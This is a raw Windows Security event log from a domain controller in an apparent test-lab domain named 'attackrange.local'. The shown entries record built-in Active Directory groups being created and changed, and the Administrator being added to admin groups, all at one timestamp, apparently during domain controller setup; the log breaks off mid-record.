-ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248183 -Keywords=Audit Success -Message=A security-enabled universal group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Enterprise Key Admins - Group Name: Enterprise Key Admins - Group Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4754 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248182 -Keywords=Audit Success -Message=A security-enabled universal group was created. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Enterprise Key Admins - Group Name: Enterprise Key Admins - Group Domain: ATTACKRANGE - -Attributes: - SAM Account Name: Enterprise Key Admins - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4737 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248181 -Keywords=Audit Success -Message=A security-enabled global group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Key Admins - Group Name: Key Admins - Group Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4727 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248180 -Keywords=Audit Success -Message=A security-enabled global group was created. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -New Group: - Security ID: ATTACKRANGE\Key Admins - Group Name: Key Admins - Group Domain: ATTACKRANGE - -Attributes: - SAM Account Name: Key Admins - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4737 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248179 -Keywords=Audit Success -Message=A security-enabled global group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Protected Users - Group Name: Protected Users - Group Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4727 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248178 -Keywords=Audit Success -Message=A security-enabled global group was created. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -New Group: - Security ID: ATTACKRANGE\Protected Users - Group Name: Protected Users - Group Domain: ATTACKRANGE - -Attributes: - SAM Account Name: Protected Users - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4737 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248177 -Keywords=Audit Success -Message=A security-enabled global group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Cloneable Domain Controllers - Group Name: Cloneable Domain Controllers - Group Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4727 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248176 -Keywords=Audit Success -Message=A security-enabled global group was created. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -New Group: - Security ID: ATTACKRANGE\Cloneable Domain Controllers - Group Name: Cloneable Domain Controllers - Group Domain: ATTACKRANGE - -Attributes: - SAM Account Name: Cloneable Domain Controllers - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248175 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Denied RODC Password Replication Group - Group Name: Denied RODC Password Replication Group - Group Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4732 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248174 -Keywords=Audit Success -Message=A member was added to a security-enabled local group. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Member: - Security ID: ATTACKRANGE\Read-only Domain Controllers - Account Name: CN=Read-only Domain Controllers,CN=Users,DC=attackrange,DC=local - -Group: - Security ID: ATTACKRANGE\Denied RODC Password Replication Group - Group Name: Denied RODC Password Replication Group - Group Domain: ATTACKRANGE - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4755 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248173 -Keywords=Audit Success -Message=A security-enabled universal group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Enterprise Read-only Domain Controllers - Group Name: Enterprise Read-only Domain Controllers - Group Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4754 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248172 -Keywords=Audit Success -Message=A security-enabled universal group was created. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Enterprise Read-only Domain Controllers - Group Name: Enterprise Read-only Domain Controllers - Group Domain: ATTACKRANGE - -Attributes: - SAM Account Name: Enterprise Read-only Domain Controllers - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248171 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Denied RODC Password Replication Group - Group Name: Denied RODC Password Replication Group - Group Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248170 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Denied RODC Password Replication Group - Group Name: Denied RODC Password Replication Group - Group Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4737 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248169 -Keywords=Audit Success -Message=A security-enabled global group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Read-only Domain Controllers - Group Name: Read-only Domain Controllers - Group Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4727 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248168 -Keywords=Audit Success -Message=A security-enabled global group was created. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -New Group: - Security ID: ATTACKRANGE\Read-only Domain Controllers - Group Name: Read-only Domain Controllers - Group Domain: ATTACKRANGE - -Attributes: - SAM Account Name: Read-only Domain Controllers - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248167 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Denied RODC Password Replication Group - Group Name: Denied RODC Password Replication Group - Group Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4732 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248166 -Keywords=Audit Success -Message=A member was added to a security-enabled local group. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Member: - Security ID: ATTACKRANGE\krbtgt - Account Name: CN=krbtgt,CN=Users,DC=attackrange,DC=local - -Group: - Security ID: ATTACKRANGE\Denied RODC Password Replication Group - Group Name: Denied RODC Password Replication Group - Group Domain: ATTACKRANGE - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248165 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Denied RODC Password Replication Group - Group Name: Denied RODC Password Replication Group - Group Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4732 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248164 -Keywords=Audit Success -Message=A member was added to a security-enabled local group. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Member: - Security ID: ATTACKRANGE\Domain Controllers - Account Name: CN=Domain Controllers,CN=Users,DC=attackrange,DC=local - -Group: - Security ID: ATTACKRANGE\Denied RODC Password Replication Group - Group Name: Denied RODC Password Replication Group - Group Domain: ATTACKRANGE - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248163 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Denied RODC Password Replication Group - Group Name: Denied RODC Password Replication Group - Group Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4732 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248162 -Keywords=Audit Success -Message=A member was added to a security-enabled local group. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Member: - Security ID: ATTACKRANGE\Cert Publishers - Account Name: CN=Cert Publishers,CN=Users,DC=attackrange,DC=local - -Group: - Security ID: ATTACKRANGE\Denied RODC Password Replication Group - Group Name: Denied RODC Password Replication Group - Group Domain: ATTACKRANGE - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248161 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Denied RODC Password Replication Group - Group Name: Denied RODC Password Replication Group - Group Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4732 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248160 -Keywords=Audit Success -Message=A member was added to a security-enabled local group. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Member: - Security ID: ATTACKRANGE\Domain Admins - Account Name: CN=Domain Admins,CN=Users,DC=attackrange,DC=local - -Group: - Security ID: ATTACKRANGE\Denied RODC Password Replication Group - Group Name: Denied RODC Password Replication Group - Group Domain: ATTACKRANGE - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248159 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Denied RODC Password Replication Group - Group Name: Denied RODC Password Replication Group - Group Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4732 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248158 -Keywords=Audit Success -Message=A member was added to a security-enabled local group. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Member: - Security ID: ATTACKRANGE\Group Policy Creator Owners - Account Name: CN=Group Policy Creator Owners,CN=Users,DC=attackrange,DC=local - -Group: - Security ID: ATTACKRANGE\Denied RODC Password Replication Group - Group Name: Denied RODC Password Replication Group - Group Domain: ATTACKRANGE - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248157 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Denied RODC Password Replication Group - Group Name: Denied RODC Password Replication Group - Group Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4731 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248156 -Keywords=Audit Success -Message=A security-enabled local group was created. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -New Group: - Security ID: ATTACKRANGE\Denied RODC Password Replication Group - Group Name: Denied RODC Password Replication Group - Group Domain: ATTACKRANGE - -Attributes: - SAM Account Name: Denied RODC Password Replication Group - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248155 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Allowed RODC Password Replication Group - Group Name: Allowed RODC Password Replication Group - Group Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4731 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248154 -Keywords=Audit Success -Message=A security-enabled local group was created. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -New Group: - Security ID: ATTACKRANGE\Allowed RODC Password Replication Group - Group Name: Allowed RODC Password Replication Group - Group Domain: ATTACKRANGE - -Attributes: - SAM Account Name: Allowed RODC Password Replication Group - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4742 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Computer Account Management -OpCode=Info -RecordNumber=248153 -Keywords=Audit Success -Message=A computer account was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Computer Account That Was Changed: - Security ID: ATTACKRANGE\WIN-DC-725$ - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - Display Name: - - User Principal Name: - - Home Directory: - - Home Drive: - - Script Path: - - Profile Path: - - User Workstations: - - Password Last Set: - - Account Expires: - - Primary Group ID: - - AllowedToDelegateTo: - - Old UAC Value: - - New UAC Value: - - User Account Control: - - User Parameters: - - SID History: - - Logon Hours: - - DNS Host Name: - - Service Principal Names: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248152 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248151 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: BUILTIN\Windows Authorization Access Group - Group Name: Windows Authorization Access Group - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4732 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248150 -Keywords=Audit Success -Message=A member was added to a security-enabled local group. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Member: - Security ID: NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS - Account Name: - - -Group: - Security ID: BUILTIN\Windows Authorization Access Group - Group Name: Windows Authorization Access Group - Group Domain: Builtin - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248149 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: BUILTIN\Pre-Windows 2000 Compatible Access - Group Name: Pre-Windows 2000 Compatible Access - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4732 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248148 -Keywords=Audit Success -Message=A member was added to a security-enabled local group. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Member: - Security ID: NT AUTHORITY\Authenticated Users - Account Name: - - -Group: - Security ID: BUILTIN\Pre-Windows 2000 Compatible Access - Group Name: Pre-Windows 2000 Compatible Access - Group Domain: Builtin - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4737 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248147 -Keywords=Audit Success -Message=A security-enabled global group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Group Policy Creator Owners - Group Name: Group Policy Creator Owners - Group Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4728 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248146 -Keywords=Audit Success -Message=A member was added to a security-enabled global group. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Member: - Security ID: ATTACKRANGE\Administrator - Account Name: CN=Administrator,CN=Users,DC=attackrange,DC=local - -Group: - Security ID: ATTACKRANGE\Group Policy Creator Owners - Group Name: Group Policy Creator Owners - Group Domain: ATTACKRANGE - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4755 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248145 -Keywords=Audit Success -Message=A security-enabled universal group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Enterprise Admins - Group Name: Enterprise Admins - Group Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4756 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248144 -Keywords=Audit Success -Message=A member was added to a security-enabled universal group. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Member: - Security ID: ATTACKRANGE\Administrator - Account Name: CN=Administrator,CN=Users,DC=attackrange,DC=local - -Group: - Security ID: ATTACKRANGE\Enterprise Admins - Account Name: Enterprise Admins - Account Domain: ATTACKRANGE - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4755 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248143 -Keywords=Audit Success -Message=A security-enabled universal group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Schema Admins - Group Name: Schema Admins - Group Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4756 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248142 -Keywords=Audit Success -Message=A member was added to a security-enabled universal group. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Member: - Security ID: ATTACKRANGE\Administrator - Account Name: CN=Administrator,CN=Users,DC=attackrange,DC=local - -Group: - Security ID: ATTACKRANGE\Schema Admins - Account Name: Schema Admins - Account Domain: ATTACKRANGE - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4737 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248141 -Keywords=Audit Success -Message=A security-enabled global group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Domain Admins - Group Name: Domain Admins - Group Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4728 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248140 -Keywords=Audit Success -Message=A member was added to a security-enabled global group. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT 